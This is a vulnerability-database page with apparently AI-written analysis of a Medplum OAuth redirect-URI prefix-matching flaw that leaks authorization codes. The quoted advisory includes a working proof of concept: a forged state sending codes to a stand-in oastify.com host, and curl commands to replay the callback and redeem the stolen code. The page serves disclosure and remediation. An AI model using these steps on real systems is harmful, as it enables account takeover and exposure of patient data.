Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify ClientApplication with external IdP and prefix-extensible redirect URI
-
DeliveryCraft forged state JSON with malicious redirectUri and own PKCE code_challenge
-
ExploitDeliver forged authorization URL to victim via phishing
-
ExecutionVictim completes legitimate external IdP authentication
-
PersistMedplum prefix-matches URI and redirects code to attacker endpoint
-
ImpactRedeem stolen authorization code via PKCE verifier for valid access token
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V15 - Secure Coding and Architecture Data authenticity verification
|
| Exploitation Conditions | Exploitation requires three specific conditions to align. First, the target ClientApplication must have an identityProvider configured - external IdP login is a non-default feature that must be explicitly enabled; deployments using only Medplum-native authentication are not affected. Second, the ClientApplication's registered redirect URI must be a bare origin or a string that is a valid hostname prefix for an attacker-controlled domain (e.g., http://callback.example.com is a prefix for http://callback.example.com.attacker.com); clients with full-path redirect URIs (e.g., https://app.example.com/auth/callback) are substantially harder to exploit via this vector because extending a path into a foreign hostname requires the attacker-controlled domain to follow the exact path structure. Third, the attacker must be able to deliver the forged authorization URL to the victim, either through phishing or by intercepting and modifying the initial authorization request. Limiting factors include the requirement for active victim interaction (UI:R in CVSS) - the victim must complete the external IdP login - and the dependency on obtaining a valid IdP authorization code through that flow, which constrains targeting of arbitrary sessions. The attacker does not need to be authenticated to Medplum (PR:N on the callback endpoint itself) to trigger the redirect. |
| Impact | The NVD-assigned CVSS 7.1 vector (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L) accurately represents the attack's high-complexity precondition: exploitation is only viable when a registered redirect URI is a prefix-extensible bare origin, which is a non-default but realistically common configuration in deployments that registered URIs without trailing paths. No EPSS score was provided in the source data, and the vulnerability does not appear in the CISA KEV catalog at time of analysis; however, the GHSA advisory contains a fully functional curl-based proof-of-concept with explicit PKCE bypass steps, making exploitation trivially reproducible by any attacker who can deliver a crafted authorization URL to a victim. The high C and I impact scores are well-justified - full account takeover with access to PHI is the realistic worst-case outcome - and even a mid-sized municipal IT team in mielec running Medplum as their FHIR interoperability layer should treat this as urgent given potential HIPAA regulatory exposure. The A:L component assigned by NVD is less convincing: no direct availability-impact primitive is described in the vulnerability; this likely reflects ancillary disruption from account compromise rather than a denial-of-service vector, and independent assessment warrants A:N. Overall this is a genuine priority for any healthcare operator using external IdP login, not a high-CVSS-but-low-real-risk theoretical issue. |
| Exploit ScenarioDerived | An attacker crafts a forged OAuth state JSON blob containing a malicious redirectUri that prefix-matches a registered client URI (e.g., http://callback.audit.local.attacker.com/cb) along with their own PKCE code_challenge and delivers this as a crafted authorization URL to a victim via phishing. The victim completes the legitimate external IdP login flow, at which point Medplum's callback accepts the prefix-matched URI and issues a 302 redirect appending the Medplum authorization code and login token to the attacker's endpoint as query parameters. The attacker then calls the /oauth2/token endpoint with the stolen code and their pre-known PKCE code_verifier to obtain a valid Medplum access token, completing full account takeover - detailed curl commands demonstrating this full chain are publicly documented in the GHSA-m44r-7c5h-m6mj advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 17, 2026
Redirect URI prefix-matching in Medplum's unauthenticated external IdP callback (GET /auth/external) allows an attacker who can forge or intercept the OAuth state parameter to redirect Medplum authorization codes and login tokens to an attacker-controlled endpoint. All deployments of npm/@medplum/core at version 5.1.5 and below where a ClientApplication has an external identityProvider configured are affected; the fix was released in v5.1.6. Publicly available exploit code exists in the GHSA-m44r-7c5h-m6mj advisory - including curl-based reproduction steps - and because the attacker can inject their own PKCE challenge into the forged state, stolen codes can be redeemed for a full access token without the victim's knowledge, constituting a complete account takeover.
RemediationAI
Upgrade npm/@medplum/core to version 5.1.6 or later; the patch was merged via PR #8749 (https://github.com/medplum/medplum/pull/8749) at commit 7ae10035ddadde4dba7b18d3156553940465b3a1 and formally released at https://github.com/medplum/medplum/releases/tag/v5.1.6. If an immediate upgrade is not feasible, the following compensating controls reduce exposure: first, audit all registered ClientApplication redirect URIs and replace any bare origins (e.g., https://app.example.com) with full-path URIs (e.g., https://app.example.com/auth/callback), which makes prefix extension into a different hostname significantly harder - this is the highest-value workaround with no service-disruption side effect. Second, disable the identityProvider configuration on any ClientApplication that does not actively require external IdP login, removing the vulnerable code path for those clients entirely. Third, enforce network-layer egress controls on the Medplum server to restrict outbound redirects to known CIDR ranges, limiting the practical usefulness of a successful redirect hijack. None of these workarounds address the root causes - unsigned state and startsWith matching - and all should be treated as temporary measures until the v5.1.6 upgrade is applied.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Medplum is an open-source FHIR-native healthcare platform distributed as npm/@medplum/core. The vulnerability is rooted in CWE-345 (Insufficient Verification of Data Authenticity): the OAuth state parameter - carrying clientId, redirectUri, PKCE code_challenge, and codeChallengeMethod - is serialized as plain JSON without any cryptographic binding such as an HMAC signature, meaning it can be tampered with freely before or during the authorization request. The externalCallbackHandler() function on the unauthenticated GET /auth/external route decodes this state and passes the attacker-supplied redirectUri to getClientRedirectUri() with partial matching explicitly enabled via a boolean third argument. Internally, the function accepts any requestedUri that satisfies requestedUri.startsWith(registeredUri), so a registered bare origin such as http://callback.example.com becomes a valid prefix for http://callback.example.com.attacker.com - a completely different hostname. A downstream exact-match lookup does exist in externalCallbackHandler(), but its result is consumed only for logging purposes and does not gate the redirect, confirming the bypass is structural rather than incidental. The final redirect appends Medplum login and code query parameters before calling res.redirect(), delivering authorization artifacts directly to the attacker-controlled destination.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L
AV:N and PR:N for the unauthenticated network callback; AC:H for the prefix-extensible URI precondition; UI:R for victim login interaction; A:N as no direct availability impact is described.
Primary rating from Vendor (https://github.com/medplum/medplum).
CVSS VectorVendor: https://github.com/medplum/medplum
DescriptionCVE.org
Summary
The external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect.
Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.
Technical Explanation
The vulnerable flow is exposed on the unauthenticated callback route GET /auth/external.
In externalCallbackHandler(), the server parses the external auth state and uses the decoded clientId and redirectUri after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:
getClientRedirectUri(client, body.redirectUri, true)
The third argument explicitly enables partial matching. In getClientRedirectUri(), the function returns the attacker-supplied requestedUri whenever:
requestedUri.startsWith(uri)
As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into new URL(redirectUri), and the server appends login and code query parameters before calling res.redirect().
Although externalCallbackHandler() later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.
A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:
- Registered:
http://callback.audit.local - Malicious:
http://callback.audit.local.oastify.com/cb
The client-side external auth flow serializes the login request directly into the IdP state as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.
Steps to Reproduce
Preconditions
- The target
ClientApplicationhas anidentityProviderconfigured. - The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:
- Registered redirect URI:
http://callback.audit.local - The attacker controls a collaborator endpoint such as:
https://<collaborator-host>/cb- The attacker uses a forged
state.redirectUrithat starts with the registered value, for example: http://callback.audit.local.oastify.com/cb- or a collaborator domain that matches your local proof setup
Example forged state
{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}
URL-encode the forged state
python3 - <<'PY'
import json, urllib.parse
state = {
"clientId": "<medplum-client-id>",
"redirectUri": "http://callback.audit.local.oastify.com/cb",
"codeChallenge": "attack-verifier-123",
"codeChallengeMethod": "plain",
}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))
PYReplay the external callback with cURL Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly: curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>
Expected result The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:
HTTP/1.1 302 Found
Location: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>Collaborator proof If redirectUri points to a Burp Collaborator, Interactsh, or another attacker-controlled HTTP endpoint, that service receives the inbound request containing the leaked code in the query string. This demonstrates that Medplum is willing to forward authorization artifacts to an attacker-controlled destination when state.redirectUri only prefix-matches a registered client redirect URI.
Optional impact validation If the attacker supplied the PKCE verifier in the forged state, the leaked Medplum code can then be redeemed:
curl -i -X POST 'http://api.audit.local:8103/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=authorization_code&code=<medplum-auth-code>&code_verifier=attack-verifier-123'Impact
The impact of this vulnerability is Critical, as it facilitates a full Account Takeover (ATO) of any user utilizing the external identity provider (IdP) flow.
- Full Account Takeover (ATO):
An attacker can successfully intercept the Medplum authorization 'code'. Because the attacker controls the 'state' object, they can provide their own PKCE 'code_challenge'. This allows the attacker to redeem the stolen code for a valid access token without knowing the victim's original secret, leading to total session hijacking.
- Bypassing Modern OAuth Protections:
This flaw explicitly bypasses the security benefits of PKCE (Proof Key for Code Exchange). By allowing an attacker to inject their own PKCE parameters into the tampered state, the server's verification mechanism is rendered useless against this specific redirection attack.
- Cross-Origin Data Leakage:
The 'startsWith' logic allows an attacker to break out of the intended origin. For example, a registered URI for 'https://app.medplum.com' could be extended to 'https://app.medplum.com.attacker.com', tricking the user and the browser's security model into sending sensitive credentials to an external host.
- Access to Sensitive Healthcare Data (PHI):
Given Medplum's role as a healthcare platform, a successful compromise grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and violating HIPAA or other regulatory compliance standards.
- Victim Trust Exploitation:
The attack occurs during a legitimate login flow. The victim interacts with the official Medplum server and their trusted IdP (e.g., Google or Microsoft), making the final redirection to the attacker-controlled URL nearly impossible for an average user to detect.
Mitigation
- Require exact string equality for redirect URIs.
- Bind external auth state to a server-side session or use a HMAC/Signature.
- Reject prefixable or ambiguous redirect URI shapes during registration.
Executive ViewAI
A high-severity authentication bypass in Medplum versions 5.1.5 and below enables account takeover through OAuth redirect manipulation; publicly available exploit code exists for this vulnerability. Healthcare organizations using Medplum with external identity providers face immediate risk of unauthorized access to patient records and protected health information.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
EUVD-2026-70698
GHSA-m44r-7c5h-m6mj
NVD
CVE.org
EPSS
Exploit-DB